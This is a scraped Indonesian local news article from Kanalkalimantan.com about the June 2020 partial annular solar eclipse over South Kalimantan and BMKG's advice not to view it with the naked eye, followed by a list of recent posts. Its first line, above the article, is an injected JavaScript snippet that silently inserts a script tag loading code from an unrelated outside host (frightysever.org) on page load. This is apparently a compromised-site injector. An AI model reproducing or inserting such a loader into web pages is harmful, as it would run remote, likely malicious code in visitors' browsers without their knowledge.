(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: IPTEK

AWAS. Gerhana Matahari Cincin Jangan Dilihat dengan Mata Telanjang!


KANALKALIMANTAN.COM, BANJARBARU– Gerhana matahari cincin sebagian akan terjadi dan terlihat di wilayah Kalimantan Selatan besok. . BMKG mengimbau agar warga tak melihat gerhana dengan mata telanjang.

“Tips aman, jangan melihat langsung dengan mata telanjang. Tidak boleh juga melihat bayangan gerhana di air,” kata Kepala BMKG Stasiun Geofisika Kelas I Tuntungan Teguh Rahayu, Sabtu (20/6/2020).

Rahayu mengatakan gerhana matahari bisa dilihat menggunakan teropong yang menggunakan filter. Gerhana matahari juga bisa dilihat menggunakan kacamata khusus. “Menggunakan teropong pun harus dipasang filter, bisa juga menggunakan kacamata khusus untuk melihat gerhana,” ujarnya.

Gerhana Matahari Cincin terjadi ketika Matahari, Bulan, dan Bumi tepat segaris. Pada saat itu piringan Bulan yang teramati dari Bumi lebih kecil daripada piringan Matahari. Akibatnya, saat puncak gerhana, Matahari akan tampak seperti cincin, yaitu gelap di bagian tengahnya dan terang di bagian pinggirnya.

Badan Meteorologi Klimatologi dan Geofisika (BMKG) dalam siaran persnya menjelaskan, tidak semua wilayah di belahan bumi akan dapat melihat Gerhana Matahari Cincin. Sebab hanya wilayah yang menjadi lintasan gerhana saja yang dapat melihat terjadinya gerhana cincin.

Saat terjadi gerhana matahari cincin nanti, akan terdapat dua bayangan bulan yang terbentuk yang disebut antumbra dan penumbra. Wilayah yang terlewati antumbra adalah wilayah dapat mengamati gerhana matahari cincin. Sementara wilayah penumbra akan gerhana yang teramati adalah gerhana matahari sebagian.

Saat gerhana matahari 21 Juni nanti, wilayah Indonesia akan mendapat bayangan penumbra. Sehingga gerhana yang terjadi berupa gerhana matahari sebagian. Namun tidak semua wilayah di Indonesia juga akan terkena penumbra, sehingga tidak semua wilayah Indonesia mengalami gerhana matahari sebagian.

Persentase ketertutupan matahari pun juga beragam di tiap daerah yang terkena punumbra. Lapan melalui akun Instagramnya menyebutkan daerah-daerah yang mengalami Gerhana Matahari Sebagian (GMS). Untuk Kalimantan, yang bisa melihat di antaranya Kalimantan Barat bagian Selatan, Kalimatan Tengah bagian Selatan, dan Kalimantan Selatan bagian Selatan.

Untuk wilayah Kalimantan Selatan bagian Utara (Tabalong, Hulu Sungai Utara, Hulu Sungai Tengah, Kotabaru, Balangan) akan mengalami ketertutupan antara 10-20 persen.(Kanalkalimantan.com/cel/detik)


Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

13 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

17 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

19 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

20 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

20 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

22 jam ago

This website uses cookies.